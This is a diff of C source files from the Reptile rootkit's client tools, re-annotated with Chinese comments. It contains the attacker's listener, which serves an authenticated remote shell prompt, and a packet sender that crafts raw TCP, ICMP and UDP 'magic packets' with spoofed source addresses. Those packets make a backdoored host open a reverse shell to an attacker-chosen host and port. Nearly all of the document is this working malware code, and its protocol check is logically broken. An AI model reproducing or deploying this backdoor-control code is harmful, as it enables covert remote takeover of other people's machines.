free(buffer_backup); free(buffer_backup);
fprintf(stderr, "reptile: allocation error\n"); fprintf(stderr, "reptile: allocation error\n");
@ -624,149 +582,155 @@ char *read_line(void)
} }
} }
char **parse(char *line) // 解析输入行的函数
{ char** parse(char* line) {
int bufsize = TOK_BUFSIZE, position = 0; int bufsize = TOK_BUFSIZE, position = 0;
char **tokens = malloc(bufsize * sizeof(char *)); char** tokens = malloc(bufsize * sizeof(char*));
char *token, **tokens_backup; char* token, ** tokens_backup;
// 如果内存分配失败,打印错误信息并退出
if (!tokens) { if (!tokens) {
fprintf(stderr, "reptile: allocation error\n"); fprintf(stderr, "reptile: allocation error\n");
exit(EXIT_FAILURE); exit(EXIT_FAILURE);
} }
// 使用strtok函数分割命令行
token = strtok(line, TOK_DELIM); token = strtok(line, TOK_DELIM);
while (token != NULL) { while (token != NULL) {
tokens[position] = token; tokens[position] = token;
position++; position++;
if (position >= bufsize) { if (position >= bufsize) {
bufsize += TOK_BUFSIZE; bufsize += TOK_BUFSIZE;
tokens_backup = tokens; tokens_backup = tokens;
tokens = realloc(tokens, bufsize * sizeof(char *)); tokens = realloc(tokens, bufsize * sizeof(char*));
if (!tokens) { if (!tokens) {
free(tokens_backup); free(tokens_backup);
fprintf(stderr, "reptile: allocation error\n"); fprintf(stderr, "reptile: allocation error\n");
exit(EXIT_FAILURE); exit(EXIT_FAILURE);
} }
} }
token = strtok(NULL, TOK_DELIM); token = strtok(NULL, TOK_DELIM);
} }
tokens[position] = NULL; tokens[position] = NULL;
return tokens; return tokens;
} }
void reptile_loop(int sock) // 命令行循环函数
{ void reptile_loop(int sock) {
char *line; char* line;
char **args; char** args;
int status; int status;
// 循环读取命令并执行,直到接收到退出信号
do { do {
line = readline("\e[01;32mreptile> \e[00m"); line = readline("\e[01;32mreptile> \e[00m");
add_history(line); add_history(line);
args = parse(line); args = parse(line);
status = execute(sock, args); status = execute(sock, args);
free(line); free(line);
free(args); free(args);
} while (status); } while (status);
clear_history(); clear_history();
} }
void handle_shutdown(int signal) // 处理关闭连接的信号
{ void handle_shutdown(int signal) {
close(sockfd); close(sockfd);
exit(signal); exit(signal);
} }
void listener(int port) // 监听连接的函数
{ void listener(int port) {
int new_sockfd, yes = 1; int new_sockfd, yes = 1;
struct sockaddr_in host_addr, client_addr; struct sockaddr_in host_addr, client_addr;
socklen_t sin_size; socklen_t sin_size;
// 创建套接字
if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) { if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
kill(pid, SIGQUIT); kill(pid, SIGQUIT);
fatal("in socket"); fatal("in socket");
} }
if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == // 设置套接字选项,允许立即重用地址
-1) { if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1) {
kill(pid, SIGQUIT); kill(pid, SIGQUIT);
close(sockfd); close(sockfd);
fatal("setting socket option SO_REUSEADDR"); fatal("setting socket option SO_REUSEADDR");
} }
// 设置信号处理函数,处理关闭连接的信号
signal(SIGTERM, handle_shutdown); signal(SIGTERM, handle_shutdown);
signal(SIGINT, handle_shutdown); signal(SIGINT, handle_shutdown);
// 定义主机地址结构体
host_addr.sin_family = AF_INET; host_addr.sin_family = AF_INET;
host_addr.sin_port = htons(port); host_addr.sin_port = htons(port);
host_addr.sin_addr.s_addr = INADDR_ANY; host_addr.sin_addr.s_addr = INADDR_ANY;
memset(&(host_addr.sin_zero), '\0', 8); memset(&(host_addr.sin_zero), '\0', 8);
if (bind(sockfd, (struct sockaddr *)&host_addr, // 绑定套接字到主机地址
sizeof(struct sockaddr)) == -1) { if (bind(sockfd, (struct sockaddr*)&host_addr, sizeof(struct sockaddr)) == -1) {
kill(pid, SIGQUIT); kill(pid, SIGQUIT);
close(sockfd); close(sockfd);
fatal("binding to socket"); fatal("binding to socket");
} }
// 监听套接字
if (listen(sockfd, 5) == -1) { if (listen(sockfd, 5) == -1) {
kill(pid, SIGQUIT); kill(pid, SIGQUIT);
close(sockfd); close(sockfd);
fatal("listening on socket"); fatal("listening on socket");
} else { }
else {
fprintf(stdout, "%s Listening on port %d...\n", good, port); fprintf(stdout, "%s Listening on port %d...\n", good, port);
} }
// 接受客户端连接
sin_size = sizeof(struct sockaddr_in); sin_size = sizeof(struct sockaddr_in);
new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size); new_sockfd = accept(sockfd, (struct sockaddr*)&client_addr, &sin_size);
if (new_sockfd == -1) { if (new_sockfd == -1) {
kill(pid, SIGQUIT); kill(pid, SIGQUIT);
close(sockfd); close(sockfd);
fatal("accepting connection"); fatal("accepting connection");
} }
// 打印客户端连接信息
fprintf(stdout, "%s Connection from %s:%d\n\n", awesome, fprintf(stdout, "%s Connection from %s:%d\n\n", awesome,
inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port)); inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port));
// usleep(100 * 1500); // 如果没有设置密码,提示用户输入密码
if (password == NULL) { if (password == NULL) {
password = getpass("Password: "); password = getpass("Password: ");
fprintf(stdout, "\n"); fprintf(stdout, "\n");
} }
// 初始化客户端连接
if (pel_client_init(new_sockfd, password) != PEL_SUCCESS) { if (pel_client_init(new_sockfd, password) != PEL_SUCCESS) {
close(new_sockfd); close(new_sockfd);
fprintf(stdout, "%s wrong password!\n\n", bad); fprintf(stdout, "%s wrong password!\n\n", bad);
exit(ERROR); exit(ERROR);
} }
// 打印欢迎信息并进入命令行循环
banner(); banner();
reptile_loop(new_sockfd); reptile_loop(new_sockfd);
// 关闭套接字
shutdown(new_sockfd, SHUT_RDWR); shutdown(new_sockfd, SHUT_RDWR);
close(sockfd); close(sockfd);
} }
void usage(char *argv0) // 显示使用方法的函数
{ void usage(char* argv0) {
fprintf(stderr, "Usage: %s [ -p port ] [ -s secret ]\n", fprintf(stderr, "Usage: %s [ -p port ] [ -s secret ]\n", argv0);
argv0);
exit(1); exit(1);
} }
int main(int argc, char **argv) // 主函数
{ int main(int argc, char** argv) {
int opt, port = 0; int opt, port = 0;
// 解析命令行参数
while ((opt = getopt(argc, argv, "p:s:")) != EOF) { while ((opt = getopt(argc, argv, "p:s:")) != EOF) {
switch (opt) { switch (opt) {
case 'p': case 'p':
@ -781,28 +745,28 @@ int main(int argc, char **argv)
} }
} }
// 如果没有提供端口号,则显示使用方法并退出
if (port == 0) if (port == 0)
usage(*argv); usage(*argv);
// 如果命令行参数不足,则显示使用方法并退出
if (argc <= 1) if (argc <= 1)
usage(argv[0]); usage(argv[0]);
// printf("\n\e[01;36mReptile Shell\e[00m\n"); // 打印使用密码信息
// printf("\e[01;32mWritten by: F0rb1dd3n\e[00m\n\n");
if (password != NULL) if (password != NULL)
fprintf(stdout, "%s Using password: %s\n", good, password); fprintf(stdout, "%s Using password: %s\n", good, password);
// 创建子进程
pid = fork(); pid = fork();
if (pid == -1) if (pid == -1)
fatal("on forking proccess"); fatal("on forking proccess");
// 父进程调用listener函数监听连接
if (pid > 0) if (pid > 0)
listener(port); listener(port);
// if (pid == 0) // 子进程执行后台任务(这部分代码被注释掉了)
// background job while we are listening
return EXIT_SUCCESS; return EXIT_SUCCESS;
} }

@ -21,444 +21,457 @@
#include "util.h" #include "util.h"
// Don't worry, it is gonna cahnged next version // Don't worry, it is gonna cahnged next version
#define KEY 0x6de56d3b // 定义常量这些值用于设置IP首部和TCP首部的字段
#define IPID 3429 #define KEY 0x6de56d3b // 加密密钥
#define SEQ 15123 #define IPID 3429 // IP标识符
#define WIN 9965 #define SEQ 15123 // TCP序列号
#define WIN 9965 // TCP窗口大小
struct pseudohdr
{ // 定义一个伪首部结构体用于计算TCP和UDP数据包的校验和
uint32_t saddr; struct pseudohdr {
uint32_t daddr; uint32_t saddr; // 源IP地址
uint8_t zero; uint32_t daddr; // 目的IP地址
uint8_t protocol; uint8_t zero; // 填充字段总是0
uint16_t length; uint8_t protocol; // 协议类型TCP或UDP
uint16_t length; // 长度TCP或UDP首部和数据的总长度
}; };
unsigned short csum(unsigned short *buf, int nwords) // 计算校验和的函数用于IP和TCP/UDP首部
{ unsigned short csum(unsigned short* buf, int nwords) {
unsigned long sum; unsigned long sum;
unsigned short odd; unsigned short odd;
for (sum = 0; nwords > 1; nwords-=2) // 将两个字节的校验和相加
sum += *buf++; for (sum = 0; nwords > 1; nwords -= 2)
sum += *buf++;
if (nwords == 1) { // 如果有奇数个字节,将最后一个字节加入校验和
odd = 0; if (nwords == 1) {
*((unsigned char *)&odd) = *(unsigned char *)buf; odd = 0;
sum += odd; *((unsigned char*)&odd) = *(unsigned char*)buf;
} sum += odd;
}
sum = (sum >> 16) + (sum & 0xffff); // 将校验和折叠成16位
sum += (sum >> 16); sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return ~sum; // 返回反码
return ~sum;
} }
int tcp(char *srcip, char *dstip, unsigned int srcport, unsigned int dstport, char *data, unsigned int data_len) // 发送TCP数据包的函数
{ int tcp(char* srcip, char* dstip, unsigned int srcport, unsigned int dstport, char* data, unsigned int data_len) {
int socktcp, nbytes, ret = EXIT_FAILURE; // 变量声明
unsigned int pckt_tam, plen; int socktcp, nbytes, ret = EXIT_FAILURE;
char *buffer; unsigned int pckt_tam, plen;
struct iphdr *iph; char* buffer;
struct tcphdr *tcph; struct iphdr* iph;
struct sockaddr_in s; struct tcphdr* tcph;
socklen_t optval = 1; struct sockaddr_in s;
struct pseudohdr psh; socklen_t optval = 1;
char *pseudo_packet; struct pseudohdr psh;
char* pseudo_packet;
pckt_tam = sizeof(struct iphdr) + sizeof(struct tcphdr) + data_len;
// 计算数据包总长度
if (!(buffer = (char *)malloc(pckt_tam))) { pckt_tam = sizeof(struct iphdr) + sizeof(struct tcphdr) + data_len;
fatal("on allocating buffer memory");
return ret; // 分配内存
} if (!(buffer = (char*)malloc(pckt_tam))) {
fatal("on allocating buffer memory");
memset(buffer, '\0', pckt_tam); return ret;
}
iph = (struct iphdr *)buffer;
tcph = (struct tcphdr *)(buffer + sizeof(struct iphdr)); // 初始化内存
memset(buffer, '\0', pckt_tam);
if ((socktcp = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) {
fatal("on creating TCP socket"); // 填充IP首部
goto free_buffer; iph = (struct iphdr*)buffer;
} tcph = (struct tcphdr*)(buffer + sizeof(struct iphdr));
iph->ihl = 5;
if (setsockopt(socktcp, IPPROTO_IP, IP_HDRINCL, &optval, sizeof(optval)) == -1) { iph->version = 4;
fatal("on setsockopt"); iph->tos = 0;
goto close_socket; iph->id = htons(IPID);
} iph->ttl = 255;
iph->protocol = IPPROTO_TCP;
memcpy((buffer + sizeof(struct iphdr) + sizeof(struct tcphdr)), data, data_len); iph->tot_len = pckt_tam;
iph->saddr = inet_addr(srcip);
iph->ihl = 5; iph->daddr = inet_addr(dstip);
iph->version = 4; iph->check = csum((unsigned short*)buffer, iph->tot_len);
iph->tos = 0;
iph->id = htons(IPID); // 填充TCP首部
iph->ttl = 255; tcph->source = htons(srcport);
iph->protocol = IPPROTO_TCP; tcph->dest = htons(dstport);
iph->tot_len = pckt_tam; tcph->seq = 0x0;
iph->saddr = inet_addr(srcip); tcph->ack_seq = 0;
iph->daddr = inet_addr(dstip); tcph->doff = 5;
tcph->fin = 0;
//iph->check = csum((unsigned short *)buffer, sizeof(struct iphdr) + sizeof(struct tcphdr)); tcph->syn = 1;
iph->check = csum((unsigned short *)buffer, iph->tot_len); tcph->rst = 0;
tcph->psh = 0;
tcph->source = htons(srcport); tcph->ack = 0;
tcph->dest = htons(dstport); tcph->urg = 0;
tcph->seq = 0x0; tcph->window = htons(WIN);
tcph->ack_seq = 0; tcph->urg_ptr = 0;
tcph->doff = 5; tcph->check = 0;
tcph->fin = 0;
tcph->syn = 1; // 构建伪首部用于计算TCP校验和
tcph->rst = 0; psh.saddr = inet_addr(srcip);
tcph->psh = 0; psh.daddr = inet_addr(dstip);
tcph->ack = 0; psh.zero = 0;
tcph->urg = 0; psh.protocol = IPPROTO_TCP;
tcph->window = htons(WIN); psh.length = htons(sizeof(struct tcphdr) + data_len);
tcph->urg_ptr = 0;
tcph->check = 0; // 计算TCP首部和数据的校验和
plen = sizeof(struct pseudohdr) + sizeof(struct tcphdr) + data_len;
psh.saddr = inet_addr(srcip); if ((pseudo_packet = malloc(plen)) == NULL) {
psh.daddr = inet_addr(dstip); fatal("on malloc");
psh.zero = 0; goto close_socket;
psh.protocol = IPPROTO_TCP; }
psh.length = htons(sizeof(struct tcphdr) + data_len); bzero(pseudo_packet, plen);
memcpy(pseudo_packet, &psh, sizeof(struct pseudohdr));
plen = sizeof(struct pseudohdr) + sizeof(struct tcphdr) + data_len; tcph->seq = htons(SEQ);
tcph->check = 0;
if ((pseudo_packet = malloc(plen)) == NULL) { memcpy(pseudo_packet + sizeof(struct pseudohdr), tcph, sizeof(struct tcphdr) + data_len);
fatal("on malloc"); tcph->check = csum((unsigned short*)pseudo_packet, plen);
goto close_socket;
} // 设置目的地址和端口
s.sin_family = AF_INET;
bzero(pseudo_packet, plen); s.sin_port = htons(dstport);
memcpy(pseudo_packet, &psh, sizeof(struct pseudohdr)); s.sin_addr.s_addr = inet_addr(dstip);
tcph->seq = htons(SEQ); // 发送数据包
tcph->check = 0; if ((nbytes = sendto(socktcp, buffer, iph->tot_len, 0, (struct sockaddr*)&s, sizeof(struct sockaddr))) == -1)
memcpy(pseudo_packet + sizeof(struct pseudohdr), tcph, sizeof(struct tcphdr) + data_len); fatal("on sending package");
tcph->check = csum((unsigned short *)pseudo_packet, plen);
// 清理资源
s.sin_family = AF_INET; if (nbytes > 0) {
s.sin_port = htons(dstport); fprintf(stdout, "%s TCP: %u bytes was sent!\n", good, nbytes);
s.sin_addr.s_addr = inet_addr(dstip); ret = EXIT_SUCCESS;
}
if ((nbytes = sendto(socktcp, buffer, iph->tot_len, 0, (struct sockaddr *)&s, sizeof(struct sockaddr))) == -1)
fatal("on sending package"); free(pseudo_packet);
if (nbytes > 0) {
fprintf(stdout, "%s TCP: %u bytes was sent!\n", good, nbytes);
ret = EXIT_SUCCESS;
}
free(pseudo_packet);
close_socket: close_socket:
close(socktcp); close(socktcp);
free_buffer: free_buffer:
free(buffer); free(buffer);
return ret; return ret;
} }
int icmp(char *srcip, char *dstip, char *data, unsigned int data_len) // 发送ICMP数据包的函数
{ int icmp(char* srcip, char* dstip, char* data, unsigned int data_len) {
int sockicmp, nbytes, ret = EXIT_FAILURE; // 变量声明
unsigned int pckt_tam; int sockicmp, nbytes, ret = EXIT_FAILURE;
char *buffer; unsigned int pckt_tam;
struct iphdr *iph; char* buffer;
struct icmphdr *icmp; struct iphdr* iph;
struct sockaddr_in s; struct icmphdr* icmp;
socklen_t optval = 1; struct sockaddr_in s;
socklen_t optval = 1;
pckt_tam = (sizeof(struct iphdr) + sizeof(struct icmphdr) + data_len);
// 计算数据包总长度
if (!(buffer = (char *)malloc(pckt_tam))) { pckt_tam = sizeof(struct iphdr) + sizeof(struct icmphdr) + data_len;
fatal("on allocating buffer memory");
return ret; // 分配内存
} if (!(buffer = (char*)malloc(pckt_tam))) {
fatal("on allocating buffer memory");
memset(buffer, '\0', pckt_tam); return ret;
}
iph = (struct iphdr *)buffer;
icmp = (struct icmphdr *)(buffer + sizeof(struct iphdr)); // 初始化内存
memset(buffer, '\0', pckt_tam);
if ((sockicmp = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) == -1) {
fatal("in creating raw ICMP socket"); // 填充IP首部
goto free_buffer; iph = (struct iphdr*)buffer;
} icmp = (struct icmphdr*)(buffer + sizeof(struct iphdr));
iph->ihl = 5;
if (setsockopt(sockicmp, IPPROTO_IP, IP_HDRINCL, &optval, sizeof(optval)) == -1) { iph->version = 4;
fatal("in setsockopt"); iph->tos = 0;
goto close_socket; iph->id = htons(IPID);
} iph->ttl = 255;
iph->protocol = IPPROTO_ICMP;
memcpy((buffer + sizeof(struct iphdr) + sizeof(struct icmphdr)), data, data_len); iph->saddr = inet_addr(srcip);
iph->daddr = inet_addr(dstip);
iph->ihl = 5; iph->tot_len = pckt_tam;
iph->version = 4; iph->check = csum((unsigned short*)buffer, iph->tot_len);
iph->tos = 0;
iph->id = htons(IPID); // 填充ICMP首部
iph->ttl = 255; icmp->type = 8; // ICMP类型回显请求
iph->protocol = IPPROTO_ICMP; icmp->code = ICMP_ECHO; // ICMP代码回显请求
iph->saddr = inet_addr(srcip); icmp->checksum = 0; // 清零校验和字段
iph->daddr = inet_addr(dstip); icmp->un.echo.id = htons(WIN); // ICMP标识符
iph->tot_len = pckt_tam; icmp->un.echo.sequence = htons(SEQ); // ICMP序列号
iph->check = csum((unsigned short *)buffer, iph->tot_len);
// 计算ICMP首部和数据的校验和
icmp->type = 8; icmp->checksum = csum((unsigned short*)icmp, sizeof(struct icmphdr) + data_len);
icmp->code = ICMP_ECHO;
icmp->checksum = 0; // 设置目的地址
icmp->un.echo.id = htons(WIN); s.sin_family = AF_INET;
icmp->un.echo.sequence = htons(SEQ); s.sin_addr.s_addr = inet_addr(dstip);
icmp->checksum = csum((unsigned short *)icmp, sizeof(struct icmphdr) + data_len); // 发送数据包
if ((nbytes = sendto(sockicmp, buffer, iph->tot_len, 0, (struct sockaddr*)&s, sizeof(struct sockaddr))) == -1)
s.sin_family = AF_INET; fatal("on sending package");
s.sin_addr.s_addr = inet_addr(dstip);
// 清理资源
if ((nbytes = sendto(sockicmp, buffer, iph->tot_len, 0, (struct sockaddr *)&s, sizeof(struct sockaddr))) == -1) if (nbytes > 0) {
fatal("on sending package"); fprintf(stdout, "%s ICMP: %u bytes was sent!\n", good, nbytes);
ret = EXIT_SUCCESS;
if (nbytes > 0) { }
fprintf(stdout, "%s ICMP: %u bytes was sent!\n", good, nbytes);
ret = EXIT_SUCCESS;
}
close_socket: close_socket:
close(sockicmp); close(sockicmp);
free_buffer: free_buffer:
free(buffer); free(buffer);
return ret; return ret;
} }
int udp(char *srcip, char *dstip, unsigned int srcport, unsigned int dstport, char *data, unsigned int data_len) // 发送UDP数据包的函数
{ int udp(char* srcip, char* dstip, unsigned int srcport, unsigned int dstport, char* data, unsigned int data_len) {
int sockudp, nbytes, ret = EXIT_FAILURE; // 声明变量
unsigned int pckt_tam, plen; int sockudp, nbytes, ret = EXIT_FAILURE; // 用于网络通信的socket发送的字节数返回值
char *buffer; unsigned int pckt_tam, plen; // 数据包长度,伪包长度
struct iphdr *iph; char* buffer; // 缓冲区
struct udphdr *udph; struct iphdr* iph; // IP头指针
struct sockaddr_in s; struct udphdr* udph; // UDP头指针
socklen_t optval = 1; struct sockaddr_in s; // 地址结构
struct pseudohdr psh; socklen_t optval = 1; // 设置socket选项的值
char *pseudo_packet; struct pseudohdr psh; // 伪包头结构
char* pseudo_packet; // 伪包数据指针
pckt_tam = sizeof(struct iphdr) + sizeof(struct udphdr) + data_len;
// 计算数据包总长度
if (!(buffer = (char *)malloc(pckt_tam))) { pckt_tam = sizeof(struct iphdr) + sizeof(struct udphdr) + data_len;
fatal("on allocating buffer memory");
return ret; // 分配内存
} if (!(buffer = (char*)malloc(pckt_tam))) {
fatal("on allocating buffer memory"); // 分配失败时调用fatal函数
memset(buffer, '\0', pckt_tam); return ret; // 返回失败
}
iph = (struct iphdr *)buffer;
udph = (struct udphdr *)(buffer + sizeof(struct iphdr)); // 初始化内存
memset(buffer, '\0', pckt_tam); // 将缓冲区清零
if ((sockudp = socket(PF_INET, SOCK_RAW, IPPROTO_UDP)) == -1) {
fatal("on creating UDP socket"); // 填充IP首部
goto free_buffer; iph = (struct iphdr*)buffer; // 将缓冲区的开始部分视为IP头
} udph = (struct udphdr*)(buffer + sizeof(struct iphdr)); // IP头后是UDP头
iph->ihl = 5; // IP头长度
if (setsockopt(sockudp, IPPROTO_IP, IP_HDRINCL, &optval, sizeof(optval)) == -1) { iph->version = 4; // IP版本
fatal("on setsockopt"); iph->tos = 0; // 服务类型
goto close_socket; iph->id = htons(IPID); // 标识符
} iph->ttl = 255; // 生命周期
iph->protocol = IPPROTO_UDP; // 协议类型
memcpy((buffer + sizeof(struct iphdr) + sizeof(struct udphdr)), data, data_len); iph->tot_len = pckt_tam; // 总长度
iph->saddr = inet_addr(srcip); // 源IP地址
iph->ihl = 5; iph->daddr = inet_addr(dstip); // 目的IP地址
iph->version = 4; iph->check = csum((unsigned short*)buffer, iph->tot_len); // 校验和
iph->tos = 0;
iph->id = htons(IPID); // 填充UDP首部
iph->ttl = 255; udph->source = htons(srcport); // 源端口
iph->protocol = IPPROTO_UDP; udph->dest = htons(dstport); // 目的端口
iph->tot_len = pckt_tam; udph->len = htons(sizeof(struct udphdr) + data_len); // UDP长度
iph->saddr = inet_addr(srcip); udph->check = 0; // 校验和初始化为0
iph->daddr = inet_addr(dstip);
iph->check = csum((unsigned short *)buffer, iph->tot_len); // 创建伪包头
psh.saddr = inet_addr(srcip); // 源IP地址
udph->source = htons(srcport); psh.daddr = inet_addr(dstip); // 目的IP地址
udph->dest = htons(dstport); psh.zero = 0; // 填充0
udph->len = htons(sizeof(struct udphdr) + data_len); psh.protocol = IPPROTO_UDP; // 协议类型
udph->check = 0; psh.length = htons(sizeof(struct udphdr) + data_len); // UDP长度
psh.saddr = inet_addr(srcip); // 计算伪包长度
psh.daddr = inet_addr(dstip); plen = sizeof(struct pseudohdr) + sizeof(struct udphdr) + data_len;
psh.zero = 0;
psh.protocol = IPPROTO_UDP; // 分配伪包内存
psh.length = htons(sizeof(struct udphdr) + data_len); if ((pseudo_packet = malloc(plen)) == NULL) {
fatal("on malloc"); // 分配失败时调用fatal函数
plen = sizeof(struct pseudohdr) + sizeof(struct udphdr) + data_len; goto close_socket; // 跳转到关闭socket的标签
}
if ((pseudo_packet = malloc(plen)) == NULL) {
fatal("on malloc"); // 初始化伪包内存
goto close_socket; bzero(pseudo_packet, plen); // 清零伪包
} memcpy(pseudo_packet, &psh, sizeof(struct pseudohdr)); // 复制伪包头
bzero(pseudo_packet, plen); // 计算UDP校验和
memcpy(pseudo_packet, &psh, sizeof(struct pseudohdr)); udph->check = 0; // 校验和重置为0
memcpy(pseudo_packet + sizeof(struct pseudohdr), udph, sizeof(struct udphdr) + data_len); // 复制UDP头和数据
udph->check = 0; udph->check = csum((unsigned short*)pseudo_packet, plen); // 计算校验和
memcpy(pseudo_packet + sizeof(struct pseudohdr), udph, sizeof(struct udphdr) + data_len);
udph->check = csum((unsigned short *)pseudo_packet, plen); // 设置目的地址
s.sin_family = AF_INET; // 地址族
//fprintf(stdout, "UDP Checksum = 0x%x\n", htons(udph->check)); s.sin_port = htons(dstport); // 目的端口
s.sin_addr.s_addr = inet_addr(dstip); // 目的IP地址
s.sin_family = AF_INET;
s.sin_port = htons(dstport); // 发送数据包
s.sin_addr.s_addr = inet_addr(dstip); if ((nbytes = sendto(sockudp, buffer, iph->tot_len, 0, (struct sockaddr*)&s, sizeof(struct sockaddr))) == -1)
fatal("on sending package"); // 发送失败时调用fatal函数
if ((nbytes = sendto(sockudp, buffer, iph->tot_len, 0, (struct sockaddr *)&s, sizeof(struct sockaddr))) == -1)
fatal("on sending package"); // 检查发送的字节数
if (nbytes > 0) {
if (nbytes > 0) { fprintf(stdout, "%s UDP: %u bytes was sent!\n", good, nbytes); // 打印成功消息
fprintf(stdout, "%s UDP: %u bytes was sent!\n", good, nbytes); ret = EXIT_SUCCESS; // 设置返回值为成功
ret = EXIT_SUCCESS; }
}
// 释放伪包内存
free(pseudo_packet); free(pseudo_packet);
close_socket: close_socket:
close(sockudp); // 关闭socket
close(sockudp);
free_buffer: free_buffer:
free(buffer); // 释放缓冲区内存
return ret; free(buffer);
return ret; // 返回结果
} }
void usage(char *argv0) void usage(char* argv0)
{ {
fprintf(stderr, "\n\e[01;32mReptile Packet Sender\e[00m\n"); // 打印使用说明
fprintf(stderr, "\e[01;31mWritten by F0rb1dd3n\e[00m\n"); fprintf(stderr, "\n\e[01;32mReptile Packet Sender\e[00m\n");
fprintf(stderr, "\nUsage: %s [options]\n\n", argv0); fprintf(stderr, "\e[01;31mWritten by F0rb1dd3n\e[00m\n");
fprintf(stderr, "-t\tTarget\n"); fprintf(stderr, "\nUsage: %s [options]\n\n", argv0);
fprintf(stderr, "-r\tRemote port from magic packets (only for tcp/udp)\n"); fprintf(stderr, "-t\tTarget\n");
fprintf(stderr, "-x\tMagic Packet protocol (tcp/icmp/udp)\n"); fprintf(stderr, "-r\tRemote port from magic packets (only for tcp/udp)\n");
fprintf(stderr, "-s\tSource IP address to spoof\n"); fprintf(stderr, "-x\tMagic Packet protocol (tcp/icmp/udp)\n");
fprintf(stderr, "-q\tSource port from magic packets (only for tcp/udp)\n"); fprintf(stderr, "-s\tSource IP address to spoof\n");
fprintf(stderr, "-l\tHost to receive the reverse shell\n"); fprintf(stderr, "-q\tSource port from magic packets (only for tcp/udp)\n");
fprintf(stderr, "-p\tHost port to receive the reverse shell\n"); fprintf(stderr, "-l\tHost to receive the reverse shell\n");
fprintf(stderr, "-k\tToken to trigger the port-knocking\n\n"); fprintf(stderr, "-p\tHost port to receive the reverse shell\n");
exit(1); fprintf(stderr, "-k\tToken to trigger the port-knocking\n");
exit(1); // 退出程序
} }
int main(int argc, char **argv) int main(int argc, char** argv)
{ {
int opt, dstport, srcport, len, crypt_len; // 声明变量
char *prot, *dstip, *srcip, *connect_back_host, *connect_back_port, int opt, dstport, srcport, len, crypt_len;
*token, *data; char* prot, * dstip, * srcip, * connect_back_host, * connect_back_port,
* token, * data;
dstport = srcport = 0;
// 初始化端口变量
prot = dstip = srcip = connect_back_host = connect_back_port = token = dstport = srcport = 0;
NULL;
// 初始化字符串指针
while ((opt = getopt(argc, argv, "x:t:l:p:r:s:q:k:")) != EOF) { prot = dstip = srcip = connect_back_host = connect_back_port = token =
switch (opt) { NULL;
case 'x':
prot = optarg; // 解析命令行参数
if (strcmp(prot, "icmp") == 0 || while ((opt = getopt(argc, argv, "x:t:l:p:r:s:q:k:")) != EOF) {
strcmp(prot, "ICMP") == 0) { switch (opt) {
if (strcmp(prot, "udp") == 0 || case 'x':
strcmp(prot, "UDP") == 0) { // 设置协议
if (strcmp(prot, "tcp") == 0 || prot = optarg;
strcmp(prot, "TCP") == 0) { // 检查协议是否合法
printf("%s wrong " if (strcmp(prot, "icmp") == 0 || strcmp(prot, "ICMP") == 0) {
"protocol\n", if (strcmp(prot, "udp") == 0 || strcmp(prot, "UDP") == 0) {
bad); if (strcmp(prot, "tcp") == 0 || strcmp(prot, "TCP") == 0) {
exit(-1); printf("%s wrong protocol\n", bad);
} exit(-1);
} }
} }
break; }
case 't': break;
if (strlen(optarg) > 15) { case 't':
printf("%s wrong IP address\n", bad); // 设置目标IP
exit(-1); if (strlen(optarg) > 15) {
} printf("%s wrong IP address\n", bad);
dstip = optarg; exit(-1);
break; }
case 'l': dstip = optarg;
if (strlen(optarg) > 15) { break;
printf("%s wrong IP address\n", bad); case 'l':
exit(-1); // 设置连接回显IP
} if (strlen(optarg) > 15) {
connect_back_host = optarg; printf("%s wrong IP address\n", bad);
break; exit(-1);
case 'p': }
if (atoi(optarg) < 0 || atoi(optarg) > 65535) { connect_back_host = optarg;
printf("%s wrong port\n", bad); break;
exit(-1); case 'p':
} // 设置连接回显端口
connect_back_port = optarg; if (atoi(optarg) < 0 || atoi(optarg) > 65535) {
break; printf("%s wrong port\n", bad);
case 'r': exit(-1);
if (atoi(optarg) < 0 || atoi(optarg) > 65535) { }
printf("%s wrong port\n", bad); connect_back_port = optarg;
exit(-1); break;
} case 'r':
dstport = atoi(optarg); // 设置远程端口
break; if (atoi(optarg) < 0 || atoi(optarg) > 65535) {
case 's': printf("%s wrong port\n", bad);
if (strlen(optarg) > 15) { exit(-1);
printf("%s wrong IP address\n", bad); }
exit(-1); dstport = atoi(optarg);
} break;
srcip = optarg; case 's':
break; // 设置源IP
case 'q': if (strlen(optarg) > 15) {
if (atoi(optarg) < 0 || atoi(optarg) > 65535) { printf("%s wrong IP address\n", bad);
printf("%s wrong port\n", bad); exit(-1);
exit(-1); }
} srcip = optarg;
srcport = atoi(optarg); break;
break; case 'q':
case 'k': // 设置源端口
if (strlen(optarg) > 16 || strlen(optarg) < 5) { if (atoi(optarg) < 0 || atoi(optarg) > 65535) {
printf("%s wrong size of token\n", bad); printf("%s wrong port\n", bad);
exit(-1); exit(-1);
} }
token = optarg; srcport = atoi(optarg);
break; break;
default: case 'k':
usage(argv[0]); // 设置令牌
break; if (strlen(optarg) > 16 || strlen(optarg) < 5) {
} printf("%s wrong size of token\n", bad);
} exit(-1);
}
if (prot == NULL || dstip == NULL || srcip == NULL || token = optarg;
connect_back_host == NULL || connect_back_port == NULL || break;
token == NULL) { default:
usage(argv[0]); // 打印使用说明
} usage(argv[0]);
break;
if (strcmp(prot, "tcp") == 0 || strcmp(prot, "udp") == 0 || }
strcmp(prot, "TCP") == 0 || strcmp(prot, "UDP") == 0) { }
if (srcport == 0 || dstport == 0)
usage(argv[0]); // 检查必要的参数是否已设置
} if (prot == NULL || dstip == NULL || srcip == NULL ||
connect_back_host == NULL || connect_back_port == NULL ||
token == NULL) {
len = strlen(token) + strlen(connect_back_host) + strlen(connect_back_port) + 3; usage(argv[0]);
crypt_len = strlen(connect_back_host) + strlen(connect_back_port) + 2; }
data = (char *)malloc(len);
// 检查端口参数
if (!data) if (strcmp(prot, "tcp") == 0 || strcmp(prot, "udp") == 0 ||
fatal("malloc"); strcmp(prot, "TCP") == 0 || strcmp(prot, "UDP") == 0) {
if (srcport == 0 || dstport == 0)
bzero(data, len); usage(argv[0]);
snprintf(data, len, "%s %s %s", token, connect_back_host, connect_back_port); }
